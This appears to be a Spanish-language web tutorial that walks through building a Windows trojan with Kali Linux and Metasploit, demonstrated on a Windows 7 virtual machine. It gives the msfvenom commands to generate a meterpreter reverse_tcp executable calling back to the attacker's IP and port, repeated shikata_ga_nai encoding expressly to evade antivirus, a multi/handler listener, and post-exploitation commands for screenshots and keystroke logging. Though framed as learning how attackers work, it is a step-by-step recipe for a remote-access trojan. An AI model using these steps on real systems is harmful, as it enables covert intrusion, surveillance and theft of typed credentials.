Seguridad

Diseño de un virus tipo caballo de Troya/Trojan con Kali Linux

Con Kali Linux, MsfVenom y el payload Meterpreter se diseña un caballo de Troya y después se controla desde Metasploit una máquina Windows infectada.

· 7 min de lectura · nivel intermedio · en Windows 7

Un caballo de Troya o Trojan en inglés es un programa que da acceso a un ordenador o sistema pareciendo a primera vista inofensivo, pero que en realidad está concebido para perjudicar a su objetivo.

La mejor forma de comprender el funcionamiento de los atacantes es adquirir una experiencia práctica de sus técnicas. Por eso le proponemos diseñar un virus con ayuda del payload Meterpreter, que proporciona un shell interactivo desde el que un atacante puede explotar la máquina objetivo y ejecutar código.

Parte 1: El diseño del caballo de Troya

Illustration 1 — Conception d'un virus type Cheval de Troie/Trojan avec Kali Linux

Etapa 1: Actualizar y poner al día Kali Linux

Debería actualizar Kali Linux con regularidad. Si no lo ha puesto al día desde hace un tiempo o si acaba de iniciarlo, es el buen momento para actualizarlo.

Abra el terminal haciendo clic en la ventana de la parte superior y escriba:

sudo apt-get update

Para aplicar las actualizaciones, escriba:

sudo apt-get upgrade

Actualizar a las versiones más recientes contribuye a la seguridad y garantiza que las herramientas funcionen correctamente. Ahora podemos empezar.

Etapa 2: Abrir el software de explotación

Vamos a utilizar Metasploit, un software preinstalado en todas las máquinas Kali Linux que nos permitirá crear payloads personalizados que se conectarán a nuestro Kali desde el ordenador de la víctima

MsfVenom es un generador de payloads autónomo producido por Metasploit que combina y sustituye a msfpayload y msfencode.

La lista de comandos disponibles en msfvenom se obtiene con el comando del mismo nombre:

msfvenom

Etapa 3: Elegir el payload

En el contexto de un virus o de un gusano informático, el payload o carga útil en español es la parte del malware que efectúa una acción maliciosa.

Para recuperar la lista de payloads disponibles, utilice:

msfvenom -l payloads
Illustration 2 — Conception d'un virus type Cheval de Troie/Trojan avec Kali Linux

Meterpreter utiliza un shell reverse_tcp, lo que significa que se conecta a un punto de escucha en la máquina del atacante para establecer una conexión con shell.

Existen dos tipos de shells populares: link y reverse. Un shell de enlace abre un nuevo servicio en la máquina objetivo y obliga al atacante a conectarse a él para iniciar una sesión. Un shell inverso (llamado también connect-back) obliga al atacante a configurar primero un punto de escucha al que la máquina objetivo pueda conectarse.

Etapa 4: Personalizar el payload

También es posible mostrar las opciones ligadas al payload elegido:

msfvenom --list-options -p windows/meterpreter/reverse_tcp
Illustration 3 — Conception d'un virus type Cheval de Troie/Trojan avec Kali Linux

Vemos que LHOST está vacío, y es precisamente a la dirección que definamos a donde el exploit enviará información desde el dispositivo infectado. En la mayoría de los casos, será su dirección IP.

El puerto de escucha 4444 se define con LPORT y será el que utilice Kali Linux para recibir la comunicación del caballo de Troya.

Para encontrar su dirección IP, introduzca

ip address

En el terminal, su dirección IP se encuentra después de la palabra «inet». Si está conectado a Internet mediante Ethernet, utilice la dirección IP de la tarjeta de red eth0; si está conectado de forma inalámbrica, utilice la de wlan0, y por último, si está conectado a una máquina VMWare, podría estar bajo ens33.

La dirección IP será nuestro parámetro LHOST.

Etapa 5: Generar el caballo de Troya

Ahora que tenemos nuestra carga útil, nuestra dirección IP y nuestro número de puerto, disponemos de toda la información que necesitamos.

Para poder crear el archivo directamente en su directorio personal, vaya a él utilizando:

cd

Ahora puede crear un archivo ejecutable a partir del payload; esta es la sintaxis que hay que adaptar:

msfvenom -p [payload] LHOST=[votre adresse ip] LPORT=[numéro de port] -f [type de fichier] > [chemin du fichier]
Illustration 4 — Conception d'un virus type Cheval de Troie/Trojan avec Kali Linux

El tipo de archivo debe ser exe y la ruta debe contener el nombre del archivo (no olvide la extensión del archivo después del nombre). Asegúrese en particular de no pulsar Intro antes de poner el «> [chemin du fichier]», porque eso lanzaría el exploit en su propio dispositivo.

Si miramos en nuestros archivos utilizando ls, vemos que aparece nuestro ejecutable.

Etapa 6: Cifrar el caballo de Troya

Dado que windows/meterpreter/reverse_tcp es un exploit habitual, la mayoría de los programas antivirus lo detectarán. Sin embargo, podemos cifrar el programa para que un antivirus tenga menos posibilidades de detectarlo. Con metasploit se incluye una larga lista de codificadores. Escriba:

msfvenom -l encoders

Una vez que haya elegido el codificador deseado (le recomendamos x86/shikata_ga_nai), puede cifrarlo varias veces al escribir el comando para realizar el exploit. Cifrar el archivo varias veces permite hacer el programa menos detectable por los antivirus.

Esta es la sintaxis:

msfvenom -p [payload] LHOST=[votre adresse ip] LPORT=[numéro de port] -e [encoder] -i [nombre d'applications] -f [type de fichier] > [chemin du fichier]
Illustration 5 — Conception d'un virus type Cheval de Troie/Trojan avec Kali Linux

Etapa 7: Ejecutar el caballo de Troya en un objetivo

Para transferir el ejecutable a otro sistema le aconsejamos el envío por SFTP.

Primero hay que encender el servicio ssh de Kali Linux con:

service ssh start

Ahora puede conectarse mediante un cliente FTP desde el ordenador objetivo para realizar la parte siguiente, que consistirá en infiltrar un sistema Windows.


Parte 2: El control del caballo de Troya

Para la demostración vamos a utilizar una máquina virtual ejecutada bajo Windows 7.

En este sistema no es necesario desactivar la seguridad integrada en Windows, al contrario que en Windows 10, donde la seguridad debe desactivarse para continuar.

Etapa 1: Iniciar una sesión meterpreter

La msfconsole es probablemente la interfaz más popular del Metasploit Framework (MSF). Proporciona una consola centralizada «todo en uno» que le permite acceder de forma eficaz a prácticamente todas las opciones disponibles en MSF. MSFconsole puede parecer intimidante al principio, pero, una vez que haya aprendido la sintaxis de los comandos, aprenderá a apreciar la potencia del uso de esta interfaz.

Abra la "msfconsole" desde el terminal o meterpreter desde el menú de aplicaciones.

Debería ver entonces un menú abierto parecido a este:

Illustration 6 — Conception d'un virus type Cheval de Troie/Trojan avec Kali Linux

Escriba:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

Si ha olvidado cómo encontrar su dirección IP en el artículo anterior, escriba simplemente ifconfig en un nuevo terminal.

set lhost [votre adresse]
set lport 4444

Una vez hecho todo esto, escriba «run» y la sesión comenzará. La sesión seguirá esperando a que se ejecute el archivo del caballo de Troya.

run

Etapa 2: Esperar el enganche

Permanecerá en esta pantalla hasta que el objetivo ejecute el archivo y, una vez que lo haga, su pantalla quedará así:

Illustration 7 — Conception d'un virus type Cheval de Troie/Trojan avec Kali Linux

A partir de ahí, puede escribir «help» para ver una lista de comandos.

help

Etapa 3: Pasar a la acción

Existe una enorme cantidad de comandos que probar. Puede registrar el teclado del objetivo, tomar capturas de pantalla, tomar fotos con la cámara web y mucho más.

Por ejemplo, para tomar una captura de pantalla del ordenador objetivo, escriba:

screenshot

La función que todo el mundo adora... ¡Keyscan! Para empezar a registrar el teclado utilice:

keyscan_start

Puede recuperar después las entradas del teclado con:

keyscan_dump

Por último, para detener el registro:

keyscan_stop

Para salir de la sesión meterpreter, escriba simplemente «exit».

exit

Y esto no es más que algunas de las numerosas cosas asombrosas que puede hacer con meterpreter y Metasploit en general.

¡Hasta muy pronto, en Awoui!